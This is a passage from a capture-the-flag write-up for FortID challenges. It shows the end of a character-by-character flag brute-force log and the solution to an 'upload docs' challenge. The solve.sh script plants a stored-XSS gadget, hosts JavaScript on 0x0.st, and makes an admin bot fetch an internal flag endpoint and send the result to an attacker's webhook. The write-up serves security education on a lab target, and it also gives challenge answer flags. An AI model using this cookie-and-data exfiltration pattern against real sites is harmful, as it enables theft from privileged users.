[step] chose 'r'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3rP': result=0 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r9': result=0 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r.': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r3': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r6': result=0 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r5': result=0 (t=0.16s)
[step] chose '4'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4P': result=1 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4h': result=1 (t=0.17s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4s': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4y': result=1 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4|': result=1 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}': result=1 (t=0.19s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4~': result=0 (t=0.14s)
[step] chose '}'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}
[DONE] FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}
```

{% endtab %}
{% endtabs %}

* <mark style="color:$success;">**`FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}`**</mark>

## upload docs

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FflVOR9T1D72F1WmJ7dOQ%2Fimage.png?alt=media&#x26;token=b0924ca4-76ad-4922-91b1-4b8a4f0b4ef7" alt=""><figcaption></figcaption></figure>

> We’ve come across a rather unusual solution for uploading documentation, and I’ve noticed several odd things about it.
>
> Here’s what I know so far:
>
> There’s an `/admin?target_user={user_id}` endpoint that simulates what an admin would see on the site. From there, the admin can view `target_user` the links. There’s also a `/get_flag` endpoint, which appears to work only within the local network.
>
> Local port is **5000**.
>
> <https://fortid-upload-docs.chals.io/>

### tldr;

{% hint style="info" %}
The flag was hidden behind an internal admin-only endpoint /get flag ac-\
cessible only to the admin bot running on 127.0.0.1:5000.&#x20;

Direct access or password resets were impossible. Instead, we abused a stored XSS gadget in\
the “username/link” feature that allowed us to load arbitrary JavaScript in the\
admin’s origin. Our payload fetched `/get_flag` and exfiltrated it to a webhook,\
yielding the flag.

* <mark style="color:$success;">**`FortID{50m371m35_15_b3773r_70_n07_v1b3_c0d3_4nd_0buf5c473}`**</mark>
  {% endhint %}

Notes: From the page sources we observed that the application always includes (after you de-obfuscate the code with <https://deobfuscate.io/>). <mark style="color:$warning;">`/static/js/effect.js`</mark> with <mark style="color:$warning;">`window.stateObject["static/js/effect.js"].href`</mark> **without validation.** And that is pretty much the vulnerability

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FA6SaepklUJU5CFMc7FQk%2Fimage.png?alt=media&#x26;token=3f8d1a3a-1545-472e-a18a-9ac6a8a87894" alt=""><figcaption></figcaption></figure>

### solve.sh

{% code overflow="wrap" %}

```bash
set -euo pipefail

# === EDIT THIS ===
WEBHOOK='<your-webhook-url>'
BASE='https://fortid-upload-docs.chals.io'
# =================

echo "[1/5] Start session"
curl -sS -c cookies.txt "$BASE/" -o /dev/null
UUID="$(awk '$6=="user_id"{print $7}' cookies.txt)"
[ -n "${UUID:-}" ] || { echo "[!] no user_id cookie"; exit 1; }
echo "[i] user_id = $UUID"

echo "[2/5] Build JS payload (executes in admin origin)"
PAYLOAD_JS="fetch('/get_flag')
  .then(r=>r.text())
  .then(t=>{ new Image().src='$WEBHOOK?flag='+encodeURIComponent(t); })
  .catch(e=>{ new Image().src='$WEBHOOK?err='+encodeURIComponent(String(e)); });"

TMPFILE="$(mktemp --suffix=.js)"
printf '%s\n' "$PAYLOAD_JS" > "$TMPFILE"
echo "[i] payload file = $TMPFILE"

echo "[3/5] Host payload on 0x0.st"
RAW_URL="$(curl -sS -F "file=@${TMPFILE};type=text/javascript" https://0x0.st/)"
[ -n "${RAW_URL:-}" ] || { echo "[!] upload failed"; exit 1; }
echo "[i] raw js url = $RAW_URL"

echo "[4/5] Register gadget (override /static/js/effect.js)"
curl -sS -b cookies.txt -c cookies.txt -X POST "$BASE/" \
  --data-urlencode 'username=static/js/effect.js' \
  --data-urlencode "link=${RAW_URL}" \
  -o /dev/null
echo "[i] gadget posted"

echo "[5/5] Trigger admin visit"
curl -sS -b cookies.txt "$BASE/admin?target_user=${UUID}" -o /dev/null

echo
echo "Check webhook for a GET like: ?flag=FortID%7B...%7D"
```

{% endcode %}

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FMggjmVXh8vQVpHvXJF7S%2Fimage.png?alt=media&#x26;token=d133f721-69bb-4432-8c65-7b39c8d04a4b" alt=""><figcaption></figcaption></figure>

* <mark style="color:$success;">**`FortID{50m371m35_15_b3773r_70_n07_v1b3_c0d3_4nd_0buf5c473}`**</mark>
